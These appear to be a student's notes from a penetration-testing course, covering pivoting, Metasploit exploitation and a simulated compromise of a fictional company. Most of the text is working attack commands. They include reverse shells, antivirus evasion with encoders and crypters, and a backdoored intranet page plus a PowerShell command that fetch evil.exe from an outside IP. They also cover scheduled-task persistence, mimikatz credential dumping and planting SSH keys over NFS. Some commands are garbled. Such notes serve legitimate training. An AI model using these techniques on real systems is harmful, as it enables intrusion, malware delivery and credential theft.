- We can create a reverse SSH shell on victim machines to attacking box (Tunnel), and make port available on the attacking box.
- `C:\> plink -l root -pw ubersecretpassword 208.88.127.99 -R 3390:127.0.0.1:3389`
- Check connection has been made:
- `root@kali:~# netstat -antp | grep LISTEN`  
|=> Shows 3390 is currently in a listening state  
|=> Minimise this window (It's the tunnelled session)
- Now just use another terminal to RDC:
- `root@kali:~# rdesktop 127.0.0.9:3390`
- Which gets tunnelled into non-routable windows server.

### SSH Dynamic Forwarding:

- This feature allows us to set a local listening port and have it tunnel incoming traffic to any remote destination through a socks proxy.
- We've compromised DMZ server through a website attack and have escalated your privileges to root on that server. This server has Apache and SSH services exposed to the internet.
- We'll now create a socks 4 proxy on local attack box on port 80
- `root@kali:~#ssh -D 8080 root@admin.megacorpone.com`
- Tunnel all traffic to port 80 through the DMZ server.
- Take note of IP range:
- `root@adminsqli:~#ifconfig`
- In new terminal:
- `root@kali:~#netstat -antp |grep 8080`
- Now we can tunnel attacking machine to remote DMZ network.

### Proxy Chains:

- So now we have socks4 proxy listening on port 8080, we can use a tool like proxy chains to forward and tunnel traffic to the non-routable DMZ network.

### Configure Proxy Chains:

- `root@kali:~#nano /etc/proxychains.conf`
- At the bottom set 8080 as socks 4 server address
- Write out and exit
- `root@kali:~#proxychains nmap -p 3389 -St -Pn 172.16.40.18-22 --open`
- This runs a TCP connect scan on port 3389 on a short range of IPs in the non-routable DMZ network.
- Proxychains redirects traffic to this network
- A bit slow, but should proxify nmap and discover rap server on internal DMZ machine.
- Once discovered we again can proxify an rdc, and connect to another non-routable desktop server.
- `root@kali:~#proxychains rdesktop 172.16.40.20`  
|=>This should establish a successful connection.
- These techniques help us reach otherwise non-routable networks.
- Use these tools while exploring hidden networks in the offsec labs.

### The Metasploit Framework (MSF): (Essential Overview)

- We've already dabbled with this for creating shellcodes
- MSF is an advanced, open-source platform written in ruby for developing, testing, and exploiting code.
- With each exploit in Metasploit there are many kinds of shells.
- The multitude of features tend to overwhelm newcomers.
- MSF can come in handy at any point in a penetration test. From information gathering, to vulnerability, research and more.

- MSF provides user friendly interface for using all of its features.
- Most common interface is msfconsole.
- For postgresql and other dependencies, we can simply start them.
- `root@kali:~# /etc/init.d/postgresql`
- `root@kali:~# /etc/init.d/metasploit start`
- `root@kali:~# msfconsole`
- MSF provides hundreds of auxiliary modules which provide various functionality such as protocol enumeration etc.
- `Msf>show auxiliary`  
|=>Shows all auxiliary modules

#### **SNMP Auxiliary Module:**

- `msf>search snmp` (List of all exploits/modules containing string)
- `msf>use auxiliary/scanner/snmp/snmp_enum`
- `msf auxiliary(snmp_enum)>info`
- `msf auxiliary(snmp_enum)>show options`
- `msf auxiliary(snmp_enum)>set RHOSTS 192.168.31.200-254`
- `msf auxiliary(snmp_enum)>set THREADS 10`  
|=>Necessary to set the above parameters
- `msf auxiliary(snmp_enum)>run`  
|=>Runs module
- SNMP is now setup for public access.

#### **SMB Auxiliary Module:**

- `msf>use auxiliary/scanner/smb/smb_version`
- `msf auxiliary(smb_enum)>show options`
- `msf auxiliary(smb_enum)>set RHOSTS 192.168.31.200-254`
- `msf auxiliary(smb_enum)>set THREADS 10`
- `msf auxiliary(smb_enum)>run`
- If you don't want to have to re-enter THREADS and RHOSTS
- `msf auxiliary(smb_enum)>setg RHOSTS | THREADS`  
|=>Setg is set global, and this can also be done as two separate commands.

#### **WEBDAV Auxiliary Module:**

- `msf auxiliary(smb_enum)> use auxiliary/scanner/http/webdev_scanner`
- `msf auxiliary(webdev_scanner)>hosts`  
|=>Displays all hosts in the network.
- To further populate this:
- `msf auxiliary(webdev_scanner)>db_nmap 192.168.31.200-254 --top-ports 20`  
|=>Scans with nmap and sends to database.
- We can now query the database:
- `msf auxiliary(webdev_scanner)>services -p 443`
- `msf auxiliary(webdev_scanner)>back`

**Metasploit Exploits:**

- Contains lots of commercial grade exploits, these are used in the same way as auxiliary modules
- msf>search pop3  
|=>Searches all pop3 exploits in msf
- msf>use exploit/windows/pop3/seattlelab\_pass
- msf exploit(seattlelab\_pass)>set PAYLOAD windows/  
|=>We continue by selecting a shell code payload to use in this exploit. We will choose ones relevant to the windows. Pressing TAB will list all available payloads.  
|=>We get a huge list of payload options  
|=>For now we'll use simple windows reverse shell payload.
- msf exploit(seattlelab\_pass)>set PAYLOAD windows/shell\_reverse\_tcp
- msf exploit(seattlelab\_pass)>show options  
|=>Shows additional parameters  
|=>Both RHOST and LHOST (remote host and local host) should be blank, and need to be set.
- msf exploit(seattlelab\_pass)>set RHOST 192.168.30.35
- msf exploit(seattlelab\_pass)>set LHOST 192.168.30.5
- You can also set listening and remote ports
- For this we'll set LPORT to 443:
- msf exploit(seattlelab\_pass)>set LPORT 443
- Let's get Windows 7 lab machine running mail server.
- Now run the exploit:
- msf exploit(seattlelab\_pass)>exploit
- Now we should have a reverse shell.
- The exploit automatically:  
|=>Sets up listener on port 443.  
|=>Sends payload to SLmail server, then receives a reverse shell.
- Changing shell is a matter of just choosing a different payload in msf console.

**Metasploit Payloads: (Exploring Additional Payloads):**

- Staged Payload: Usually sent in 2 parts.
- First Part: Small, primary, instructions payload. Second executes.
- Non-Staged Payload: Payload sent in its entirety.

**Meterpreter: (Most powerful staged payload, msf has to offer):**

- The shell provides more functionality than regular shell.
- Functions include: File up/downloads, keyloggers etc.
- These functions make it the most popular in msf.
- Well swap our non-staged reverse-shell to a reverse meterpreter connection to do our SLmail exploit.
- msf exploit(seattlelab\_pass)>set PAYLOAD windows/met  
|=>met is meterpreter
- msf exploit(seattlelab\_pass)>set PAYLOAD windows/meterpreter/reverse\_tcp

- Again do:
- msf exploit(seattlelab\_pass)>show options
  - |=>Before running the exploit check the settings
  - |=>Now run exploit
- msf exploit(seattlelab\_pass)>exploit
- We should have a meterpreter shell
  - |=>meterpreter>
- On Windows 7 lab machine:
- meterpreter>help
  - |=>Shows what meterpreter has to offer
  - |=>Look at options and try them out
- meterpreter>sysinfo
  - |=>Queries machine for details
- meterpreter>getuid
  - |=>Shows permissions of meterpreter on victim machine
  - |=>Server username: NT AUTHORITY\SYSTEM
- meterpreter>search -f \*pass\*.txt
  - |=>Searches filesystem for any file we like.

**Meterpreter in Action:**

- meterpreter>upload /usr/share/windows-binaries/nc.exe C:\\Users\\Offsec
  - |=>Uses upload function to put netcat on victim machine.
  - |=>We can also download file from victim machine.
- meterpreter>download C:\\Windows\\system32\\calc.exe /tmp/calc.exe
  - |=>Downloads calculator to our attacking box.
- We can get shell by simply typing:
  - |=>meterpreter>shell
- Now we can interact with shell:
- C:\\Program Files\\SLmail\\System>
  - |=>If this dies, meterpreter can easily respawn one
- C:\\Program Files\\SLmail\\System>exit
- meterpreter>exit -y
- Now let's look at additional payloads msf has to offer.

**Additional Payloads:**

- From VNC payloads to tunnelling payloads using DNS queries, to tunnel out of an organisation.
- Knowing these payloads can help significantly during a penetration test.
- The reverse meterpreter https payload encapsulates meterpreter communications within https requests allowing us to bypass deep packet inspection filters.
- The reverse tcp-allports payload which tries to connect back to the attacking machine on all ports, which helps us when we're unsure of egress firewall rules.
- When the payload is selected, type "info" to get a description.

**Binary Payloads:**

- MSF not only has a wide range of available payloads, we can output payloads into various files and formats, such as: asp, vb, java, dll, and pe binaries, etc.
- Let's take a closer look, and generate meterpreter pe binary executable
- To do this:
- `root@kali:~#msfpayload windows/meterpreter/reverse_https O (<- Options)`
- We see LHOST parameter requires value
- `root@kali:~#file /var/www/reverse_met_https.exe`  
|=>Gives information
- Now in rdesktop windows 7 machine download `reverse_met_https.exe`
- Before running this we need to set up a compatible listener that can handle this payload.

**The multihandler module:**

- `root@kali:~#msfconsole`
- The multihandler module can take various payloads and handle them correctly.
- The module is used in the same way other modules are used.
- `msf>use exploit/multi/handler`
- `msf exploit(handler)>set PAYLOAD windows/meterpreter/reverse_https`
- `msf exploit(handler)>show options`
- `msf exploit(handler)>set LHOST 192.168.30.5`
- `msf exploit(handler)>set LPORT 443`
- `msf exploit(handler)>exploit`
- Now let's execute `reverse_met_https.exe` file created earlier.
- If this works, we should be greeted with a reverse meterpreter https-session.

**Porting Exploits in MSF:**

- Let's see how to port some of our own exploits to MSF.
- We'll use a python exploit given to us in the buffer overflow module:
- `root@kali:~#cat vuln-server-exploit.py`
- Don't be intimidated by programming in this exercise  
|=>We are working with Ruby and Python
- Copy the buffer from this file:
- Now we'll create needed directory structure under root directory so we don't corrupt Metasploit kali package.
- `root@kali:~#mkdir -p ~/.msf4/modules/exploits/windows/misc`
- `root@kali:~#cd ~/.msf4/modules/exploits/windows/misc`
- `root@kali:~/.msf4/modules/exploits/windows/misc#cp /usr/share/Metasploit-framework/modules/exploits/windows/pop3/seattlelab_pass.rb ./vulnserver.rb`
- `root@kali:~/.msf4/modules/exploits/windows/misc#nano vulnserver.rb`
- Start by changing name and author on exploit:
- Under payload change 'Space' to 800 (As this is 800 bytes)
- Then change return address under 'Targets' to be the same as the python code

- "0x65d11d71" and remove offset
- Target description from 'Windows NT...' to 'Universal JMP ESP address'
- Under "register\_options"
  - |=>{
  - |=>Opt::RPORT(5555) -> Same as what vulnerable server listens on.
  - |=>}
- Now let's recreate buffer for Ruby:
- Under exploit remove SLmail exploit
- Under def\_exploit:
  - |=>print\_status
  - |=><-paste buffer taken from python exploit as a reference (# everything)
- Add this ruby code:
  - |=>request "AUTH" + make\_nops(40)
  - |=> << payload.encoded
  - |=> << make\_nops(1000-payload.encoded.length)
  - |=> << [target.ret].pack ('V'0
  - |=> << "\x81\xC4\x54\xF2\xFF\xFF"
  - |=> << |\xE9\xF9\xFB\xFF\xFF"
  - |=> << rand\_text\_alpha (400)
- Save this code, Now:
- root@kali:~#msfconsole
- msfexploit(vulnserver)>search vulnserver
- msfexploit(vulnserver)>use exploit/windows/misc/vulnserver
- msfexploit(vulnserver)>set LHOST 192.168.30.5
- msfexploit(vulnserver)>set LPORT 443
- msfexploit(vulnserver)>set RHOST 192.168.30.35
- Make sure vulnerable server is running on windows machine
- Now:
- msfexploit(vulnserver)>exploit
- meterpreter>

### Post Exploitation with Metasploit:

- Now we have reverse meterpreter shell
- Meterpreter>
- We've seen file up/download +
- But there's more, including: Keyloggers, hashes, screenshots even
- But first we need to look at privileges:
  - |=>Especially with windows Oss
- We got meterpreter shell from Offsec user (port of administrator group)
  - |=>Despite administrator privileges, challenges like VAC require process migration for PE modules to work.
- meterpreter>getuid
  - |=>shows username/perhaps

- meterpreter>getprivs (Shows that shell has UAC restrictions on it)
- If we try something like:
- meterpreter>hashdump
  - |=>The process will fail, as we don't have correct privileges to run it.
- meterpreter>background
  - |=>Backgrounds current meterpreter session
- Now we've invoked exploit module, able to bypass UAC
- msfexploit(vulnserver)>use exploit/windows/local/bypassuac
- msfexploit(vulnserver)>show options
  - |=>Need to change session parameter
- msfexploit(vulnserver)>sessions -l
- Choose offsec lab, x86/win32 meterpreter session (#1 in this case)
- msfexploit(vulnserver)>set SESSION 1
- We have to set a payload
- msfexploit(bypassuac)>set PAYLOAD windows/meterpreter/reverse\_tcp
- msfexploit(bypassuac)>set LHOST 192.168.30.5
- msfexploit(bypassuac)>set LPORT 8888
- msfexploit(bypassuac)>run
  - |=>Runs post exploit on first session, attempts to upload file to target, that bypasses UAC, and executes a new reverse connection, with a new non-restrictive administrative shell.
- Check this with:
- meterpreter>getprivs
  - |=>Now reveals larger set of privileges
- When we run
- meterpreter>hashdump
- It fails once again (Needs system, not administrative privileges)
- meterpreter>getuid
  - |=>Show administrator UAC unrestricted privileges
- We can try migrating existing meterpreter shell with a process migration.
- Let's use SNMP service:
- Left hand column gives correlating process number to a process
- meterpreter>migrate 1356
- meterpreter>getuid
  - |=>Now shows "NT AUTHORITY\SYSTEM" – System privileges
- meterpreter>hashdump
  - |=>It works!!
- msf>sessions -l
  - |=>Lists current meterpreter sessions
- We've managed to execute post exploit module, and managed to navigate through these very common issues, that you commonly face in similar circumstances.
  - |=>Understanding and managing permissions correctly will save you a lot of time



and frustration, in high pressure moments, when you get the reverse shell, you don't want to lose it. (We can again background this session)

### Antivirus Software Avoidance:

- Antivirus software mostly employ blacklist technologies, where known malware signatures are searched and quarantined if found.
- The process of bypassing antivirus software involves changing or encrypting the contents of a known malicious file, so to change binary structure, by doing so makes the known signature is no longer relevant, and new file structure may fool antivirus software into ignoring file.
- Depending on quality of antivirus software, a bypass can be achieved simply by changing a couple of strings inside of binary file, from uppercase to lowercase.
- Because antiviruses all use different technologies and different signatures. Universal solutions can be difficult, this process is usually based on trial and error.
- However we have many tools in Kali Linux that can help us get passed antivirus software.
- Let's start with standard reverse shell executable payload
- `root@kali:~#msfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=4444 X > ~/Desktop/shell_reverse.exe`  
|=>No encoding as this is a baseline for our test, against various antivirus scanning engines.
- [www.virustotal.com](http://www.virustotal.com) (online virus checker, by checking file against multiple antiviruses)  
|=>Once reverse shell is submitted, in this case 33/48 antivirus engines detected this raw payload.
- Now we'll encode it:
- `root@kali:~#msfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe -c 9 -o ~/Desktop/shell_reverse_msf_encoded.exe` (<-The 9 ^^ encodes ^^ 9 times)
- Now upload encoded virus to virustotal again:
- Still 33/48, encoding does very little for us
- `root@kali:~#msfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe -c 9 -x /usr/share/windows-binaries/plink.exe -o ~/Desktop/shell_reverse_msf_encoded_embedded.exe`  
|=>Embeds into pe executable file  
|=>Results are 27/48  
|=>Lowered detection rate
- Let's try and improve on this more and lower detection rate

### Packers and Crypters:

- Crypters mostly used to licence binary files, to prevent reverse engineering attempts by software pirates.

- Open source crypter – Hyperion (On Kali)
- Let's rename best behaving payload:
- `root@kali:~#cp ~/Desktop/shell_reverse_msf_encoded_embedded.exe backdoor.exe`
- `root@kali:~#cp /usr/share/windows-binaries/Hyperion-1.0.zip.exe`
- `root@kali:~#unzip Hyperion-1.0.zip`
- Now we'll cross-compile Hyperion code to create windows executable:
- `root@kali:~#cd Hyperion-1.0/`
- `root@kali:~#i586-mingw32msvc-g++ src/Crypter/*.cpp -o hyperion.exe`
- `root@kali:~#wine hyperion.exe ../backdoor.exe ~/Desktop/crypted.exe`  
|=>Protects meterpreter reverse shell
- Now upload this to virustotal:
- 16/48 engines detected it.
- Let's try harder for even lower rates of detection.

### Private Custom Tools:

- More effective for reducing detection
- Use binaries and tools unknown to antivirus vendors  
|=>Either by creating our own, or using non-mainstream code
- In the example, we have "reverse.c" from quick google search
- `root@kali:~#cat reverse.c`  
|=>This is probably unknown to AV vendors
- Now let's cross-compile this:
- `root@kali:~#i586-mingw32msvc-gcc reverse.c -o ~/Desktop/custom-reverse.exe -lws2_32`
- Now we'll check file in virustotal:
- Only 1 antivirus found it! (1/48), which was Kaspersky
- Now we'll write our own python bind shell Trojan:
- `root@kali:~#cat bind-trojan.py`  
|=>pyinstaller to compile to .exe file  
|=>Virus total is 2/46 --virustotal
- Antivirus is dynamic, and virus detection updates, but the principles rarely change.

### Putting it all together – Simulated Penetration Test (This is not publicly available):

- There are lots of hints about megacorpone to suggest vulnerable systems.  
Between running google searches, DNS enumeration techniques and various nmap scans, we've come up with a list of potential targets.
- One at the top of the list is:  
|=>admin.megacorpone.com (Port 81)  
|=>Sounds weak  
|=>Navigating to this produces an empty page

### Directory and Password Bruteforce:

- Let's run dirbuster

- `root@kali:~#dirbuster`
- In "target"  
|=>`http://admin.megacorpone.com:81`
- We'll do list based brute force and upload a wordlist with directory names:
- Deselect "Brute force files" and "Be recursive"
- Move slider to 70 threads:
- We have found a few directories  
|=>Including `/admin`
- `admin.megacorpone.com:82/admin`
- We are now prompted with username and password
- We produce this with light brute force attacks
- `root@kali:~#cewl www.megacorpone.com -m 6 -w /root/mega-cewl.txt 2 > /dev/null`
- `root@kali:~#john --wordlist=mega-cewl.txt --rules --stdout > mega-mangled`  
|=>Uploading wordlist to john the ripper  
|=>Implements john and writes out to "mega-mangled"
- `root@kali:~#head mega-mangled`  
|=>Lists contents
- Now we'll feed this to medusa:
- `root@kali:~#medusa -h admin.megacorpone.com -u admin -p mega-mangled -M http -n 81 -m DIR:/admin -T 30`
- Medusa starts attempting to break `admin.megacorpone.com` and with password `nanotechnology`, we get successful login. Gaining us access.

### Target Enumeration and Research:

- Logging into administrator panel with newly found credentials, we see a revealed SQLite database.
- As we take a closer look, we notice hashes. It's likely that these belong to web content management system (CMS) called `phpsqlitecms`, which uses this database as it's the backend system.
- We can try and use a tool such as hash identifier on these hashes, with the hope of discovering what mechanism has been applied to these passwords.
- `root@kali:~#hash-identifier`  
|=>*PASTE HASH HERE*  
|=>In this case Hash ID returns nothing
- Looking for more clues we download source code of application:
- `root@kali:~#git clone https://github.com/ilosuna/phpsqlitecms.git`
- To try and better understand the nature of these hashes
- `root@kali:~#cd phpsqlitecms/`
- `root@kali:~/phpsqlitecms#grep -rl hash *`  
|=>Reveals files we can focus on
- Let's pen admin functions file:
- `root@kali:~/phpsqlite#nano cms/includes/functions.admin.inc.php`  
|=>Reveals files we can focus on.

**Cracking Hashed and Salted Passwords:**

- Oclhashcatplus could come in handy especially when it has a powerful GPU available.
- `root@kali:~#cracker-connect`  
|=>Remote password cracker
- `offsec@kraken:~$cd oclHashcat-plus-0.12`
- `offsec@kraken:~/oclHashcat-plus-0.12$nano hashes.txt`  
|=>Copy hashes into this file.
- 10 characters from the right-hand side place a colon symbol to separate salt from the hash.
- Now we'll use a 1.2 billion password list. And start cracking salted passwords with oclhashcat.
- We see a cracking speed of 105 million passwords per/second  
|=>Cracking takes about 2 minutes.
- Cracks 2 of the password hashes passed into the brute force attack.  
|=>One being the administrator account  
|=>We'll copy these cracked credentials for later use.
- `root@kali:~#nano passwords.txt`

**Vulnerability Assessment:**

- Looking back at web interface, we see name and version of specific web database manager in use. SQLite manager (v1.24)  
|=>exploitdb.com/search/
- In "Free Text Search:" box put SQLite Manager  
|=>Reveals exploit for 1.2.4 (exact version match!!)  
|=>Remote injection code vulnerability.
- This would be ideal to use against our target. However, we need to make modifications of we want to hope for a shell.
- We notice it's protected with http authentication mechanism, which we had to brute force. This exploit doesn't have any authentication, so we'll have to spend some time developing code to match our needs.

**Exploitation:**

- We make these changes in exploit code in a development environment.
- Once developed, code should get us a reverse shell, on megacorpone.admin server.
- Let's set up ncat listener on port: 443
- `root@kali:~#nc -nlvp 443`
- In new terminal run modified exploit
- `root@kali:~#python sqlite-rce-fixed.py`  
`http://admin.megacorpone.com:81/admin/sqlite/ 208.68.234.99 443 admin nanotechnology1`
- **Seems to be working:** shell with low apache privileges
- Well spawn python pty to get better control of shell

- `root@kali:~#python -c 'import pty;pty.spawn("/bin/bash")'`
- `www.-data@adminsqli:/var/www/admin/sqlite$export TERM=linux`
- Now spend time examining system for privilege escalation options
- `www.-data@adminsqli:/var/www/admin/sqlite$cat /etc/issue`  
|=>To expand influence on megacorpone network.

### Privilege Escalation:

- In this current scenario, we think the OS could be vulnerable to recent privilege escalation exploit, unpatched Ubuntu 11 machines.
- `www.-data@adminsqli:/var/www/admin/sqlite$cat /etc/issue`
- `www.-data@adminsqli:/var/www/admin/sqlite$uname -a`  
|=>The two-above display info described above.
- `www.-data@adminsqli:/var/www/admin/sqlite$cd /tmp`
- `www.-data@adminsqli:/var/www/admin/sqlite/tmp$wget -O gimmeroot.c http://www.exploit-db.com/download/18411`
- `www.-data@adminsqli:/var/www/admin/sqlite/tmp$gcc gimmeroot.c -o gimmeroot`  
|=>Compiles
- `www.-data@adminsqli:/var/www/admin/sqlite/tmp$./gimmeroot`  
|=>Executes on victim web server.
- We now get a shell with root permissions
- `#id`
- `#export TERM=linux`
- Notice above commands have no pre-hash decription
- `#python -c 'import pty;pty.spawn("/bin/bash")'`
- `root@adminsqli:/tmp#id`
- `root@adminsqli:/var/www#ls -l`  
|=>Now that we're root we can explore a lot of the web server.
- As we poke around, we see a directory called "internal-intranet"
- `root@adminsqli:/var/www#cd internal-intranet`
- `root@adminsqli:/var/www/internal-intranet#ls -la`  
|=>Lists all files
- `root@adminsqli:/var/www/internal-intranet#cat .htaccess`  
|=>Restricted to internal network IPs
- `root@adminsqli:/var/www/internal-intranet#tail /var/log/apache2/access.log`  
|=>Checking apache logs, we notice intranet virtual host serves some Java Applets.

### Client-side attacks:

- We'll start by adding our own java applet  
|=>To execute meterpreter reverse-shell
- We'll implement this file:
- `root@adminsqli:/var/www/internal-intranet#sed -i 's/<div id="content"><applet width="1" height="1" id="Java Secure" code="java.class"`

- ```
archive="SignedJava.jar"<param name="1"
value="http://67.23.72.111/evil.exe"></applet>/g' /var/www/internal-
intranet/templates/default.tpl
```
- Now we'll download to internal internal dir:
 - `root@adminsqli:/var/www/internal-intranet#wget http://67.23.72.111/SignedJava.jar`
 - Now we'll exit shell on admin web server, try to generate rev-http-meter-payload
 - `root@kali:~#msfpayload windows/meterpreter/reverse_http LHOST=208.68.234.99 LPORT=80 R | msfencode -e x86/shikata_ga_nai -t exe -x /usr/share/windows-binaries/plink.exe -o evil.exe`
 - Now we'll copy evil.exe to the root of the web server:
 - `root@kali:~#scp /var/www/evil.exe root@webserver:/var/www/`
 - Now that we've backdoored, we will setup msf listener
 - `root@kali:~#msfconsole`
 - `msfexploit(handler)>use exploit/multi/handler`
 - `msfexploit(handler)>set PAYLOAD windows/meterpreter/reverse_http`
 - `msfexploit(handler)>set LHOST 208.68.234.99`
 - `msfexploit(handler)>set LPORT 80`
 - Now mike (megacorp victim), browses to internal intranet website, and is shown java warning.
 - Because Mike sees lots of these, his natural reaction is to run it.
 - When he does we get a reverse_http meterpreter shell.
 - `meterpreter>getuid`
 - `meterpreter>shell`
 - `C:\Users\mike.MEGACORPONE\Desktop>ipconfig`
|=>To get internal IP information.

Domain Privilege Escalation via Misconfiguration:

- We currently have domain access to internal management network
|=>Goal is to escalate privileges
- Our goal in unprotected domain environments
- Unprotected windows group policy preferences settings files
|=>These might contain juicy information such as enforced local admin password set by the root.
- Passwords can be decrypted from preferences files to reveal local administrator passwords set by the root.
- Passwords can be decrypted from preference files to reveal local administrator passwords and other sensitive information.
- `C:\Users\mike.MEGACORPONE\Desktop>exit`
- `meterpreter>background`
- We spend some time enumerating the internal network, and discover the name and the IP of the internal domain controller.
- `msfexploit(handler)>use post/windows/gather/enum_domain`
- `msfexploit(enum_domain)>set SESSION 1`

- msfexploit(enum_domain)>run
- msfexploit(enum_domain)>sessions -i 1
- meterpreter>shell
- C:\Users\mike.MEGACORPONE\Desktop>net use z: \\dc01\SYSVOL
|=>Map SYSVOL share of domain controller to mike's machine
- Z:\>dir /s groups.xml
|=>Search directory for any groups xml or similar files
- Z:\>copy
Z:\megacorpone.com\Policies\{...HEXMachine\Preferences\Groups\Groups.xml
C:\Users\mike.MEGACORPONE\Downloads
- Copy discovered file into downloads directory
- X:\>C:
- C:\Users\mike.MEGACORPONE\Desktop>cd...
- C:\Users\mike.MEGACORPONE\Desktop>Downloads
- C:\Users\mike.MEGACORPONE\Desktop>Downloads type Groups.xml
- We discovered a stored password which is immediately decrypted with a tool like gpp-decrypt
- root@kali:~#gpp-decrypt PASTE-HERE
|=>Outputs password (Local administrator password)

Passing the Hash and Tunnelling:

- We'll have to port forward:
- Tell meterpreter session to allow connections from attacking Kali machine and forward this traffic to Mike's windows 7 session.
- We will do this on port 445 so that we'll have access to the NETBIOS ports on Mike's machine.
- C:\Users\mike.MEGACORPONE\Downloads>ipconfig
|=>Note Mike's IP address (10.7.0.22)
- Exit shell
- C:\Users\...>exit
- meterpreter>background
- msfexploit(handler)>route add 10.7.0.0 255.255.255.0 1
- msfexploit(handler)>sessions -i 1
- Now port forward traffic from Kali box to port 445 on mikes box.
- meterpreter>portfwd add l 445 -r 10.7.0.22
- root@kali:~#winexe -U Administrator%PASSWDHERE //127.0.0.1 "cmd" (<- Local host)
- C:\Windows\system23>whoami
|=>dev01\administrator
|=>Tunnel and login worked, we now have a local admin shell on Mike's box.

Getting System Backdoors:

- We'll commence a persistent Win32 meterpreter payload

- C:\Windows\system32>schtasks /create/ru/SYSTEM /sc MINUTE /MO/10 /tn /megapwn /tr "\" C:\\Users\\mike.MEGACORPONE\\Downloads\\evil.exe\""
- |=>Comes back every 10 minutes or so
- C:\Windows\system32>exit
- Now we'll wait for our connection from meterpreter
- meterpreter>portfwd add -l 445 -p 445 -r 10.7.0.22
- meterpreter>portfwd delete -l 445 -p 445 -r 10.7.0.22
- meterpreter>background
- Set MSF handler to listen once again
- msfexploit(handler)>run
- We get our meterpreter shell
- meterpreter>sysinfo
- meterpreter>getuid
- meterpreter>background
- We have 2 sessions from Mike's machine
- |=>1 with domain user privileges
- |=>1 with SYSTEM privileges

Getting Interactive:

- msfexploit(handler)>sessions -i 1
- meterpreter>portfwd add -l 3389 -p 3389 -r 10.7.0.22 (<-The l means local port for Mike's RDP service)
- When complete, we'll attempt to use Mike's previously cracked password to log on to his RDP service.
- root@kali:~#cat passwords.txt
- root@kali:~#rdesktop 127.0.0.1 -u mike -p 'SmcyHxbo!' -d megacorpone -g 1024x680
- |=>The password works (Reused passwords).
- |=>Now have GUI environment inside internal network.
- |=>We notice megacorpone domain enforces several group policy domains. Let's take this into account.

Breaking out of Citrix:

- We notice default home page leads to Citrix login portal.
- We use Mike's credentials to login to the Citrix server.
- It has the single application: Internet Explorer.
- When run, it's run on the remote Citrix machine.
- |=>Open help in IE> search 'notepad' and we can open up notepad.
- |=>We can now write a batch (.bat) file to server system.
- Simply put 'powershell' into the new note -> Save as cmd.bat in documents.
- |=>Bypasses cmd by going on PowerShell.
- In notepad, open .bat file by right clicking and hitting 'open'.
- Now cmd will open but give a powershell (PS) prompt.

- Check IP address by:
 - |=>ipconfig
 - |=>whoami
- Now we'll paste payload into cmd:
- C:\>\$storageDir = \$pwd
- C:\>\$webclient = New-Object System.Net.WebClient
- C:\>\$url = "http://67.23.72.111/evil.exe"
- C:\>\$file = "evil.exe"
- C:\>\$webclient.DownloadFile(\$url,\$file)
- C:\>
- C:\>dir
- Back in Kali:
- meterpreter>portfwd add -l 3389 -r 10.7.0.22
 - |=>Don't enter this, for reference!!
- meterpreter>background
- msfexploit(handler)>run
- In Citrix server execute reverse http payload.
- PS C:\...>.\evil.exe
- In Kali:
- meterpreter>getuid
- meterpreter>sysinfo
- meterpreter>shell
- C:\Users\mike\Documents>wmic qfe |find "KB2709715"
 - |=>This security update isn't installed.

Local Privilege Escalation Exploit:

- With the above patch missing, there's a good chance we can exploit this server to get elevated permissions.
- A google search of "ms12-042 exploit" leads us to exploit database.
- Where we'll download, compile, protect, and upload the exploit binaries to citrix server.
- meterpreter>upload /root/sysret.exe C:\\Users\\mike\\Downloads
- meterpreter>upload /root/Minhook.x64.dll C:\\
- meterpreter>ls
- meterpreter>cd
- meterpreter>cd Downloads
- meterpreter>ls
- meterpreter>getuid
- meterpreter>getpid
- meterpreter>execute -H -f sysret.exe -a "-pid 1784"
 - |=>Raises privileges
- meterpreter>getuid
 - |=>Confirms we're in the system
- We can now attempt to dump passwords in memory:

- Kali is 64bit
- Windows is 32bit
- Need to migrate meterpreter process to 64bit process like winlogon
- meterpreter>ps -S winlogon
|=>Ensure 64bit process is found
- meterpreter>migrate 832 (<-PID of process)

Dumping Hashes and Owing the Domain:

- meterpreter>sysinfo
- We can migrate processes with either winlogon or mimikatz
- meterpreter>load mimikatz
- meterpreter>msv
|=>Once mimikatz is loaded we can dump hashes and text passwords directly from the memory
- meterpreter>kerberos
|=>Several passwords have been revealed including admin passwords. Now we just need to logon to domain controller with domain login details. We'll screenshot victory for reporting services.
- meterpreter>background
- Go back to the meterpreter shell that creates one last tunnel:
- meterpreter>portfwd add -l 3390 -p 3389 -r 10.7.0.21
- Let's try and remote desktop:
- root@kali:~#rdesktop 127.0.0.1:3390 -u Administrator -p Ub3r53cr3t0fm1ne -d megacorpone
|=>Connection successful and the attack is complete

Exploit misconfigured NFS server:

- To begin scan:
- root@kali:~#nmap -sS 10.195.2.2
|=>We won't always know the IP address.
- In this case NFS is running on TCP port 2049
- root@kali:~#rpcinfo -p 10.195.2.2
|=>Shows daemons and services.
- root@kali:~#showmount -e 10.195.2.2
|=>/* This means root directory.
- First make temporary directory:
- root@kali:~#mkdir /tmp/nfs
- root@kali:~#mount -o nolock -t nfs 10.195.2.2 ://tmp/nfs
|=>Mount root directory of service in temp folder (We have root access, didn't need credentials.)
- Generate SSH:
- root@kali:~#ssh-keygen (Use default location)
|=>No passphrase either.
- root@kali:~#cat .ssh/id_rsa.pub >> /tmp/nfs/root/.ssh/authorised_keys

- Now we can access server over SSH:
- `root@kali:~#umount /tmp/nfs`
- `root@kali:~#ssh root@10.195.2.2`
|=>Can also add to the hosts file
- Never use root directory as the mount point!!